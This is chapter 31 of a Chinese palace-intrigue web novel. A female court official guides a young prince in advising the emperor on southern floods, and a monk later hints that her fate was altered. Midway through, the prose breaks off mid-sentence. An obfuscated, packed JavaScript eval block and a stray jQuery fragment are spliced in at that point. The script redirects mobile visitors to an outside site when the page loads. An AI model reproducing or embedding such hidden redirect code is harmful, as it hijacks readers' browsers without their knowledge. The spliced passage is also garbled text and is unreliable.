31. 水患
作品:《小侯爷今天也在追妻》 温初言这才端起茶杯,轻饮一口,像是开玩笑,“若茶具还是他送的,我就不好意思喝了。”
付淮盈沉默,见他喝完,才开口,“茶叶是他送的。”
温初言一口茶放在嘴里,咽也不是,吐也不是。
付淮盈见他像是被噎住一样,也不由得笑起来,“无妨,阿兄放心喝吧,这是好茶。”
温初言放下茶杯,他喝不明白,“你方才是想说四殿下……”
付淮盈点点头,“四殿下年纪不大,看着却很稳重,在南边过惯了苦日子,吃过苦的,必然不会是个奢靡的,和其他皇子不同,他的眼睛很好看,我喜欢。”
温初言轻咳两声,脸上泛起红晕,她方才才说四殿下的眼睛像他,现下又说喜欢那双眼睛……
“阿兄要和我站在一起吗?”
温初言看着她,无奈道:“你知道的,我拒绝不了你,但是,这不是可以儿戏的事情,你真的想清楚了吗?其他两位殿下比他大了十余岁,又在朝中多年,朝中的局势,陛下的心思,其实已经定了一半。”
付淮盈摇摇头,“朝中局势阿兄比我清楚,可今上的心思,不是你我能猜透的,年纪小,才好把控啊……”
温初言倏地懂了她先前那些话语的意思,她要的从来都不是一个顺从的夫婿,也不是一个温柔的丈夫,她要的,只是听她任她的刀。
付淮盈从他复杂的眼神里窥探出他的意思,“阿兄是答应了吗?”
温初言点头,他没有选择,他想要淮盈爱他,想娶她,只能和她站在一起,他若是不答应,她身边便再无他的立足之地。
付淮盈喝完茶就开始送客,她倚在门边,看着温初言的背影,她从一开始就打算拉拢温初言,冷了他这么久,也算是让他站队了。
付淮盈第二日入宫时,身后多了条小尾巴,她做陈患离老师的事在陛下面前过了明路,陈患离便高高兴兴的跟着她,再稳重的孩子都有雏鸟情结,对他来说,除了父母,流霜和付淮盈就是他最亲近的人了。
但她忙得很,过两日就要去行宫了,宫内宫外的事都要过她的手,几乎忙得连喝水的时间都没有。
先太祖时,吃了外戚垄权的亏,后来的帝王大多效仿去母留子的办法,但又被认为不够人道,遂然放弃,宫内宫外之事都由宦官接手。
但前朝皇帝因为宦官而死,先帝爷吸取教训,开设了契礼苑,专为女官而设,将宫内宫外之事分开,宦官管宫内杂事,契礼苑管朝政之事,但宫内重事却也要掌印过手,掌印请辞了,所有的事情都落到付淮盈身上了。
陈患离跟着她身边,一边给她递册子,一边给她倒水,时不时替她磨墨,像个小陀螺,老师不停他不停。
身边的女官看得惊奇,手中忙着事,眼睛却直往执笔那看。
付淮盈招招手,“四殿下,别转了,转得我头晕,坐一会吧。”
“好。”陈患离点头,乖乖的坐在她身边。
付淮盈将手中的奏折筛出来,桌边还剩两本,看着上头的落款,她眯了眯眼,有些想不起来,这个江淮是谁?
南边这会正值雨季,前段时日的水灾还未解决,这会又上报,她想了很久,才想起来,这个江淮不就是先前陛下派到南边去治水的那个吗?好像还是皇后娘家那边的。
奏折上写的都是些废话,只说了几个街道被淹,派人将百姓迁移,治水的方案一字不提。
付淮盈将那本奏折放在最上头,打算亲自送到崇阳殿去,她拉了拉陈患离的手,示意他一起。
果不其然,她将奏折递上去,寰宇帝只翻了两页,便紧蹙眉头,拍案,“废物,派了一个又一个,没有一个有用的,又说这些屁话。”
陈患离是个眼里有活的孩子,立刻上前踮脚给他捏肩,“父皇,气大伤身,莫要生气。”
寰宇帝转头看他,脸色才稍稍好些,“还是你懂事啊。”
他叹了口气,“朕的国库给他们发放俸禄,难道就是为了养一群废物吗?这都多久了,南边的水患还未解决,这会南边正值雨季,要是……”
陈患离抬头去看他,“父皇……我以前在南方的时候,雨季常发大水,来这的官员总是找不到原因,却又听不得劝。”
寰宇帝低头看他,“那你有办法吗?”
“别的地方不知道,我们那我去看过,是因为青沙河淤塞,泥沙淤积,一旦下雨就会发大水,所以要清理河里的淤泥,才能解决。”
其实只要去实地细细勘察,就能知道的事情,那些官员为什么会不知道?
付淮盈清楚,就是因为不重视,每每遇上水灾只让人速速迁离,但是南边一年只发一次大水,迁离后,等过了雨季再迁回来,便没有伤亡。
但积水过多容易发疫病,污水交汇,脏得很,堵塞久了,更容易出问题。
寰宇帝哈哈大笑,摸着他的头,眼神愈发慈爱,“你帮父皇解决了一个大难题,说说,想要什么?”
付淮盈抬眸看皇帝,见他眉宇间的怒气散了些许,被慈爱盖住,只觉得江淮算是赶上好时候了,等治完水,皇帝第一个开刀的就是他。
灾后最怕疫病,还得再派人往南边去,堤坝多年未修,恐怕是个大工程,也要人,但这些日子天气热,南边那下着雨,泛着潮,许是和蒸笼差不多,再加上疫病不是闹着玩的,恐怕更没人愿意去了。
陈患离思虑着,看上去颇为纠结,寰宇帝也不着急,只坐着等他。
“那要父皇多派些人去南边,要是再不解决,得死多少人呀。”
寰宇帝有些错愕,随即是涌上心头的钝痛和慈爱,玉儿也是这样,她只管救人,入宫也只是因为他那会装病,才被他困在宫里做了他的妃嫔。
“好,朕答应你,一定多派些人,将南边的事情解决了。”
付淮盈垂眸,那这就是要查的意思了,南边年年发大水,若是查出来的真如患离所言,那便是每年派去的官员不尽心。
前些年的毕竟是些陈年往事,总不好再拉出来责问,但江淮不同,他是今年去的,由他统管,勘察不仔细,轻则革职,重则流放。
皇后母家不显,好容易将弟弟安排进工部,想着跟在前辈后头,虽说出不了头,好歹有事可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427298|168949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
办,但工部侍郎病了,南边这事便派他去了。
往年混一混便好了,没出人命,谁也不在意,但今年不同,这水排不出去,淹了民宅,若是解决不好,他的乌纱帽也要不得。
江淮又是皇后的亲弟弟,太子的亲舅,陛下不可能不迁怒的,等过段时日去南边的人回来,太子就该急了。
而储君,最怕的就是自己坐不住。
陈患离听付淮盈的话,给皇帝上了层眼药,又跟着她后面回去了。
他走在付淮盈身边,轻声问道:“老师……这个江淮是谁?”
“是皇后娘娘的弟弟,太子殿下的亲舅舅。”
陈患离若有所思的点点头,没再多问,宫里人多眼杂的,不好多说,他只理解老师的意思就行了。
出发去行宫的那日,在半路上下起了雨,纪原带人往前去探,发现一座庙宇,建得很大,能容纳上百人。
宦官和侍卫守在外头,其余的妃嫔和官家小姐之类的坐在里头等雨停。
付淮盈进来的时候,发现衣裳湿了一角,肩膀上也湿了,黏黏糊糊的,惹得人烦躁。
庙里除了他们,还有一个老和尚,坐在佛前,闭着眼一动不动,若不是嘴里还念念有词,付淮盈都以为他是死了。
付淮盈一靠近,那老和尚倏地站起身,凑到她跟前,她蹙眉往后退了两步。
老和尚直勾勾的盯着她,嘴里还不停的说,“不对……不对……命格不对……被改了……被改了……”
林晏安见他不对劲,立刻上前,抬手,跟老和尚勾肩搭背,“嘿,老头,你是算命的?也给我算算?看看我的姻缘在哪?”
老和尚的眼睛恢复了一丝清明,他转头看着这个勾着他肩膀的男子,“你也错了……都错了……”
林晏安不爱听这话,他抬手,敲了两次老和尚的头,“秃驴,好好说话,我爱听夸奖的话,说两句吉祥话,小爷给你捐些香火钱。”
那老和尚不同他计较,只一个劲的念着不对不对。
林晏安的耐心耗尽了,也懒得再说,一把将老和尚按回原地,让他继续念经。
寰宇帝坐在上首,眼神在林晏安和付淮盈身上打量着。
陈患离立刻上前挡住了他的视线,拿着手绳要和他玩翻花绳。
寰宇帝被两个儿子斗得心烦,好容易来了个贴心的,自然什么都依他,抬手慢慢的和他玩。
太子站在贡桌旁,紧盯着那一头和谐的父子俩,神色莫名。
寰王靠在椅上,斜着眼看太子铁青的脸色,勾唇,太子还是这么沉不住气,一个稚子,又没母家,又无势力的,来日最多做个闲散王爷。
到傍晚,雨才渐渐停了,外头的侍卫和各家仆从立刻动身,将一切准备好后,才来唤人。
“陛下,雨停了。”
寰王帝拉着陈患离的手,往前走,付淮盈跟着他们后头,却又察觉到一股视线,回首时,那和尚已经闭上眼,接着念他的经书。
等庙里都空了,那老和尚站起身,盯着佛像看了许久,才叹了口气,从破旧的包袱里拿了根香点燃。